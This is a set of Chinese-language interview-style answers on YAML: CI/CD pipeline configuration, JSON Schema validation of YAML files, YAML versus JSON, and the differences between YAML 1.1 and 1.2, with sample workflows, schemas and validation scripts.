YAML 在 CI/CD 流水线中怎么用?YAML 在 CI/CD 流水线中承担的是"流水线即代码"的角色——所有构建步骤、触发条件、环境变量、依赖关系都用 YAML 声明式定义,和代码一起入库版本管理。主流平台各有自己的 YAML 约定:GitHub Actions 用 `.github/workflows/*.yml`,GitLab CI 用根目录的 `.gitlab-ci.yml`,CircleCI 用 `.circleci/config.yml`。虽然语法细节不同,但核心结构都是"触发条件 → 作业定义 → 步骤执行",掌握一个平台后迁移到另一个成本很低。 面试中容易踩的坑:很多人能写出基本流水线,但被问到"怎么控制部署只在 main 分支触发""缓存键怎么设计才能命中""矩阵构建怎么用"就卡壳了。这几个是区分"写过流水线"和"理解流水线"的分水岭。 ## 追问 ### GitHub Actions 和 GitLab CI 的 YAML 结构有什么区别? GitHub Actions 以 `jobs` 为核心,每个 job 下有 `steps`,step 可以是 `run`(执行命令)或 `uses`(引用 Action),job 间通过 `needs` 声明依赖。GitLab CI 以 `stage` 为核心,同 stage 的 job 并行,stage 间串行,job 用 `script` 执行命令。最大的差异是复用机制:GitHub Actions 有可复用工作流(`workflow_call`)和组合 Action,GitLab CI 用 `include` 拆分模板和 `extends` 继承配置。 ### 条件执行有哪些常见写法? GitHub Actions 用 `if` 表达式,支持 `github.ref`、`github.event_name` 等上下文变量,也支持 `always()`、`failure()` 等状态函数。GitLab CI 用 `rules` 和 `only/except`,`rules` 优先级更高且支持 `when` + `if` 组合。实际项目中最常见的场景是:main 分支自动部署生产、develop 分支部署 staging、其他分支只跑测试。 ### 缓存配置怎么写才能实际命中? 关键在缓存键的设计。很多人直接用 `key: npm-cache`,结果永远命中旧缓存。正确做法是用文件哈希作为键的一部分:`${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}`,这样依赖变化时缓存自动失效。GitLab CI 的 `cache:key` 同理,用 `$CI_COMMIT_REF_SLUG` 配合 `files` 关键字。还要注意缓存路径要对——npm 缓存 `~/.npm` 而不是 `node_modules`,后者用 `artifacts` 传递更可靠。 ### 矩阵构建怎么用?有什么坑? 矩阵构建用来同时在多个环境组合下测试,比如不同 Node 版本和操作系统: ```yaml strategy: matrix: node-version: [16, 18, 20] os: [ubuntu-latest, macos-latest] ``` 坑主要两个:一是矩阵爆炸,3 个版本 × 3 个系统 = 9 个 job,GitHub 免费额度很快用完,建议用 `fail-fast: true` 加 `max-parallel` 控制;二是某些组合天然跑不了(比如 macOS 上没有 Docker),要用 `exclude` 排除。 ### YAML 锚点和别名在 CI/CD 里能用吗? 语法上 YAML 的 `&` 锚点和 `*` 别名是标准特性,GitLab CI 支持得很好,可以复用默认配置减少重复。但 GitHub Actions **不支持**锚点和别名——它的 YAML 解析器会报错。所以在 GitHub Actions 里要复用配置,只能用可复用工作流或组合 Action,别想走锚点捷径。 ## 写段代码 一个实用的 GitHub Actions 缓存 + 条件部署精简模板: ```yaml jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/cache@v3 with: path: ~/.npm key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }} - run: npm ci && npm test deploy: needs: test if: github.ref == 'refs/heads/main' runs-on: ubuntu-latest steps: - run: echo "deploy to production" ```
服务端5月28日 03:53
什么是 YAML Schema?如何用它验证 YAML 文件的结构和内容?YAML Schema 是给 YAML 文件定义"规矩"的技术——它声明一份 YAML 应该有哪些字段、每个字段什么类型、哪些必填、值域范围是什么。面试里问到这个点,核心考察的是你对配置治理的理解,而不仅仅是会用某个库。 ## 面试直答 **YAML Schema** 本质上是一份"元数据描述",类似 JSON Schema 之于 JSON。主流做法是用 JSON Schema(draft-07 或 draft-2020-12)来描述 YAML 的结构,因为 YAML 是 JSON 的超集,两者天然兼容。 验证流程三步走: 1. 编写 Schema 文件(通常是 `.json` 或 `.yaml` 格式) 2. 加载目标 YAML 文件并解析为数据对象 3. 用验证库将数据对象与 Schema 比对,输出合规或不合规结果 **追问:JSON Schema 和自定义 Schema 格式怎么选?** 优先选 JSON Schema。生态最成熟,Python 的 `jsonschema`、JS 的 `ajv`、Java 的 `everit-org/json-schema` 都支持;自定义格式除非你有非常特殊的约束需求(比如运行时动态生成规则),否则维护成本远大于收益。 ## Schema 怎么写 ### 最小可用示例 假设有一份应用配置: ```yaml # app-config.yaml server: host: api.example.com port: 443 ssl: true database: type: postgresql host: db.internal port: 5432 name: myapp ``` 对应的最小 Schema: ```json { "$schema": "http://json-schema.org/draft-07/schema#", "type": "object", "required": ["server", "database"], "properties": { "server": { "type": "object", "required": ["host", "port"], "properties": { "host": { "type": "string", "format": "hostname" }, "port": { "type": "integer", "minimum": 1, "maximum": 65535 }, "ssl": { "type": "boolean", "default": false } } }, "database": { "type": "object", "required": ["type", "host", "port", "name"], "properties": { "type": { "type": "string", "enum": ["postgresql", "mysql", "mongodb"] }, "host": { "type": "string" }, "port": { "type": "integer", "minimum": 1, "maximum": 65535 }, "name": { "type": "string", "minLength": 1 } } } } } ``` 注意几个关键约束写法:`required` 控制必填、`enum` 限定枚举值、`minimum/maximum` 限定数值范围、`format` 利用内置格式校验(hostname、email、uri、ipv4 等)、`default` 声明默认值。 ### 组合模式:allOf / anyOf / oneOf 实际项目中,配置经常需要"条件组合"。JSON Schema 提供了三个组合关键字: - **allOf**:所有子 Schema 都必须满足(逻辑与) - **anyOf**:至少满足一个子 Schema(逻辑或) - **oneOf**:恰好满足一个子 Schema(互斥) 一个典型的条件验证场景——开启 SSL 时必须提供证书路径: ```json { "type": "object", "properties": { "ssl": { "type": "boolean" }, "cert_path": { "type": "string" }, "key_path": { "type": "string" } }, "if": { "properties": { "ssl": { "const": true } } }, "then": { "required": ["cert_path", "key_path"] } } ``` `if/then/else` 是 draft-07 引入的条件校验,比 allOf 组合更直观。 ### $ref 拆分与复用 当 Schema 越写越大,可以用 `$ref` 把公共部分抽出来: ```json { "$schema": "http://json-schema.org/draft-07/schema#", "definitions": { "portSpec": { "type": "integer", "minimum": 1, "maximum": 65535 }, "hostSpec": { "type": "string", "format": "hostname" } }, "type": "object", "properties": { "server": { "type": "object", "properties": { "host": { "$ref": "#/definitions/hostSpec" }, "port": { "$ref": "#/definitions/portSpec" } } }, "database": { "type": "object", "properties": { "host": { "$ref": "#/definitions/hostSpec" }, "port": { "$ref": "#/definitions/portSpec" } } } } } ``` 这样 server 和 database 的端口、主机名校验规则共享同一份定义,改一处全局生效。 ## 验证代码怎么写 ### Python(jsonschema 库) ```python import yaml from jsonschema import validate, ValidationError with open('app-config.yaml') as f: config = yaml.safe_load(f) with open('schema.json') as f: schema = yaml.safe_load(f) # JSON 也是合法 YAML try: validate(instance=config, schema=schema) print("验证通过") except ValidationError as e: print(f"验证失败: {e.message}") print(f"出错路径: {' → '.join(str(p) for p in e.path)}") ``` `ValidationError` 对象包含 `message`(错误描述)、`path`(出错字段路径)、`instance`(实际值),生产环境务必把这三个信息记进日志。 ### JavaScript / Node.js(ajv) ```javascript const yaml = require('js-yaml'); const Ajv = require('ajv'); const fs = require('fs'); const config = yaml.load(fs.readFileSync('app-config.yaml', 'utf8')); const schema = JSON.parse(fs.readFileSync('schema.json', 'utf8')); const ajv = new Ajv({ allErrors: true }); // allErrors 输出全部错误 const validate = ajv.compile(schema); if (validate(config)) { console.log('验证通过'); } else { console.log('验证失败:', validate.errors); } ``` `allErrors: true` 让 ajv 一次性返回所有校验错误,而不是遇到第一个就停。调试阶段建议开启。 ### 命令行工具 不用写代码也能验证: ```bash # Python 环境 pip install yamllint jsonschema check-jsonschema --schemafile schema.json app-config.yaml # Kubernetes 配置专用 kubeval deployment.yaml # OpenAPI 规范验证 spectral lint openapi.yaml ``` `check-jsonschema` 是 `jsonschema` 包自带的 CLI 工具,直接在终端跑验证,适合集成到 Git hooks 或 CI 流水线。 ## 常见验证规则速查 | 验证需求 | Schema 写法 | |---------|------------| | 必填字段 | `"required": ["field1", "field2"]` | | 枚举值 | `"enum": ["dev", "staging", "prod"]` | | 数值范围 | `"minimum": 1, "maximum": 65535` | | 字符串格式 | `"format": "email"` / `"format": "ipv4"` / `"format": "uri"` | | 正则匹配 | `"pattern": "^\\d+\\.\\d+\\.\\d+$"` | | 数组长度 | `"minItems": 1, "maxItems": 10` | | 数组去重 | `"uniqueItems": true` | | 条件必填 | `"if": {...}, "then": {"required": [...]}` | | 默认值 | `"default": 30`(需验证库支持填充) | | 引用复用 | `"$ref": "#/definitions/xxx"` | ## Kubernetes 场景的 Schema 验证 K8s 是 YAML Schema 应用最广泛的领域。每个资源类型都有对应的 OpenAPI v3 Schema,`kubeval` 和 `kubectl --dry-run` 是最常用的验证手段: ```bash # 离线验证(不连接集群) kubeval -v 1.28 deployment.yaml # 在线验证(连接 API Server) kubectl apply --dry-run=client -f deployment.yaml # 严格模式(检查所有字段) kubectl apply --dry-run=server -f deployment.yaml ``` `--dry-run=server` 会把请求发给 API Server 做完整校验(包括 webhook 和 admission controller),比 `client` 模式更严格,但也需要集群权限。 ### K8s 自定义资源(CRD)的 Schema 写 CRD 时,`validation` 字段本身就是一份 OpenAPI v3 Schema: ```yaml apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: name: apps.mycompany.com spec: group: mycompany.com versions: - name: v1 served: true storage: true schema: openAPIV3Schema: type: object properties: spec: type: object required: ["replicas", "image"] properties: replicas: type: integer minimum: 1 maximum: 100 image: type: string env: type: object additionalProperties: type: string ``` `additionalProperties` 搭配 `type: string` 表示 env 可以有任意数量的字符串键值对,但值必须是字符串类型。 ## CI/CD 集成实战 把 Schema 验证嵌入流水线,是配置治理的落地关键。 ### GitHub Actions 示例 ```yaml name: Validate Configs on: [push, pull_request] jobs: validate: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: '3.12' - run: pip install check-jsonschema yamllint - run: yamllint configs/ - run: check-jsonschema --schemafile schemas/app.json configs/app.yaml - run: check-jsonschema --schemafile schemas/deployment.json configs/deployment.yaml ``` ### Git Pre-commit Hook ```bash #!/bin/bash # .git/hooks/pre-commit for file in $(git diff --cached --name-only | grep '\.ya?ml$'); do check-jsonschema --schemafile schemas/base.json "$file" || exit 1 done ``` Pre-commit 钩子在开发者本地就拦住不合规配置,避免问题推到远程仓库。 ## 踩坑经验 1. **YAML 的隐式类型转换** —— `true/false/yes/no/on/off` 在 YAML 里会被解析为布尔值,`02:30` 会被解析为时间。如果这些值应该当字符串处理,Schema 里要用 `"type": "string"` 并在 YAML 中加引号。 2. **`default` 不一定会填充** —— JSON Schema 规范里 `default` 只是提示性的,`jsonschema` 库不做默认值填充。需要填充的话,用 `ajv` 的 `useDefaults` 选项或自己写后处理逻辑。 3. **`additionalProperties: false` 要慎用** —— 它会禁止 Schema 中未声明的字段出现,扩展性差。建议只在内部严格约束的配置上使用,对外接口的 Schema 用 `additionalProperties: true` 或直接省略。 4. **锚点和别名干扰验证** —— YAML 的 `&anchor` / `*alias` 在 `safe_load` 后会被解析器展开,验证库看到的是展开后的数据,不会感知到锚点的存在。如果验证需要考虑"哪些字段是别名引用的",得在 safe_load 之前自行处理。 5. **Schema 版本要锁定** —— `$schema` 字段指定 draft 版本,不同版本的语义有差异(比如 draft-04 没有 `if/then/else`,draft-2019-09 把 `definitions` 改成了 `$defs`)。团队内统一用一个版本,别混着写。 Schema 验证说到底是配置治理的基础手段——从开发者本地的编辑器提示,到 Git 钩子拦截,再到 CI 流水线校验,每一层都在把配置错误往左移。做得越早,线上因为配置出事故的概率就越低。
服务端5月28日 03:52
YAML 和 JSON 有什么区别?如何选择?YAML 和 JSON 都是数据序列化格式,核心区别在于设计目标不同:YAML 追求人类可读,JSON 追求机器解析效率。YAML 用缩进表示层级,支持注释、多行字符串、对象引用(`&`/`*`)和更丰富的数据类型(日期、二进制等);JSON 用大括号和方括号表示结构,语法严格但不支持注释,数据类型只有字符串、数字、布尔、null、对象和数组六种。选择依据很简单:需要人手写和阅读的用 YAML(配置文件、CI/CD、K8s 清单),需要机器快速解析和跨系统传输的用 JSON(API 响应、日志、数据存储)。性能上 JSON 解析速度通常是 YAML 的 5-10 倍,因为 YAML 规范复杂(1.2 规范 80+ 页),解析器要做更多推断。兼容性方面,YAML 是 JSON 的超集——合法的 JSON 一定是合法的 YAML,反过来不行。 ## 追问 ### YAML 解析为什么比 JSON 慢那么多? YAML 规范支持大量隐式类型推断(比如 `true`/`false`/`yes`/`no` 都能识别为布尔值)、锚点和别名、多文档流等特性,解析器必须处理这些边界情况。JSON 只有 6 种数据类型,语法规则简单到可以用一个状态机完整描述,解析路径几乎是确定性的。实际项目中 YAML 解析耗时通常是 JSON 的 5-10 倍,配置文件体积大的时候差距更明显。 ### YAML 的缩进坑踩过吗? 踩过。最常见的是 Tab 和空格混用——YAML 只允许空格缩进,混入一个 Tab 就会报解析错误,而且报错信息往往指向错误的行号。另一个坑是冒号后面没加空格,`key:value` 在 YAML 里不会被识别为键值对,必须写成 `key: value`。还有布尔值陷阱:`yes`/`no`/`on`/`off` 在 YAML 1.1 里会被解析为 `true`/`false`,如果你本意是字符串,得加引号。Kubernetes 和 CI/CD 配置里这些问题特别容易踩。 ### 项目里有没有 YAML 和 JSON 混用的场景? 有。Spring Boot 项目里 `application.yml` 写配置,但外部化配置覆盖时用环境变量或 JSON 格式的配置中心下发;CI/CD 流水线的触发配置是 JSON(比如 GitHub webhook payload),但流水线定义文件是 YAML。还有些工具支持两种格式互转,比如 `yq` 处理 YAML、`jq` 处理 JSON,管道组合着用。 ### YAML 的锚点和别名实际用在哪? Kubernetes 的 ConfigMap 和 Secret 复用场景。用 `&` 定义一个锚点,后面用 `*` 引用,避免同一份配置写多遍。比如多个 Deployment 引用同一个环境变量块: ```yaml common-env: &common-env DB_HOST: db.example.com DB_PORT: "5432" deployment-a: env: *common-env deployment-b: env: *common-env ``` 不过不是所有 YAML 解析器都支持锚点,Docker Compose 支持但有些轻量解析器不支持,用之前先确认。 ### 什么时候 JSON 反而比 YAML 更适合做配置文件? 配置需要程序生成和修改的场景。比如 VS Code 的 `settings.json`——由扩展程序读写,JSON 格式方便序列化/反序列化,不需要注释(注释需求可以通过 `_$comment` 之类的字段变通解决)。还有需要严格 Schema 校验的场景,JSON Schema 生态比 YAML 的校验工具成熟得多,AJV 等库能做编译时校验,出错了能精确定位到行和字段。
服务端5月28日 03:48
YAML 1.1 和 YAML 1.2 有什么区别?YAML 1.1 和 YAML 1.2 的核心差异在于类型推断规则。YAML 1.1 对隐式类型推断非常激进——`yes`/`no`/`on`/`off` 全部解析为布尔值,`010` 解析为八进制 8,`3:25:45` 解析为六十进制秒数。YAML 1.2 砍掉了这些"聪明"的推断,只认 `true`/`false` 为布尔值,八进制必须写 `0o10`,六十进制格式直接移除。1.2 的目标是和 JSON 完全兼容——任何合法 JSON 都是合法的 YAML 1.2,但 1.1 做不到这点。 最典型的坑是"Norway Problem":用 YAML 1.1 写国家代码 `NO`(挪威),解析出来是布尔值 `false`。这在处理国际化数据时是真实踩过的坑。1.2 修复了这个问题,`NO` 就是字符串 `"NO"`。 版本兼容性处理的关键:不要指望声明 `%YAML 1.2` 就万事大吉——PyYAML、LibYAML 这些主流库至今默认走 1.1 规则。实际做法是写配置时始终用 `true`/`false` 表布尔值、用引号包裹可能有歧义的字符串、八进制加 `0o` 前缀,这样不管解析器用的是哪个版本都不会出问题。 ## 追问 ### YAML 1.2 具体移除了哪些 YAML 1.1 的类型? 移除了五个类型标签:`!!pairs`(有序键值对序列)、`!!omap`(无重复有序映射)、`!!set`(集合)、`!!timestamp`(时间戳)、`!!binary`(二进制数据)。另外 merge key `<<` 和 value key `=` 这两个特殊映射键也移除了。`<<` 在 1.1 里用来做锚点合并,很多人依赖它做配置继承,迁移时要改成显式写法。 ### 为什么 PyYAML 还在用 YAML 1.1? 历史包袱太重。PyYAML 基于 LibYAML(C 实现),改动底层类型推断会影响大量现有配置文件的解析结果。社区有 ruamel.yaml 作为 1.2 的替代方案,但 PyYAML 因为存量用户太多不敢贸然切换默认行为。实际项目中如果需要 1.2,用 `ruamel.yaml` 并指定 `version=(1, 2)` 即可。 ### 同一份 YAML 文件在 1.1 和 1.2 下解析结果不同,怎么排查? 重点检查三类值:布尔值(`yes`/`no`/`on`/`off`)、以 0 开头的数字(八进制 vs 十进制)、以及六十进制时间格式。用两个解析器分别加载同一文件,对比输出差异。Python 里可以同时用 PyYAML 和 ruamel.yaml 跑一遍,JavaScript 的 js-yaml 默认走 1.2 规则可以直接对比。 ### YAML 1.1 的 sexagesimal 格式是什么? 六十进制数字,写成 `3:25:45` 这种形式,解析为 12345 秒。YAML 1.2 移除了这个格式,同样的写法在 1.2 里就是普通字符串。如果你的配置里用了时间格式如 `12:30:00`,在 1.1 下会被解析成数字 45000,1.2 下是字符串 `"12:30:00"`——这也是迁移时容易踩的坑。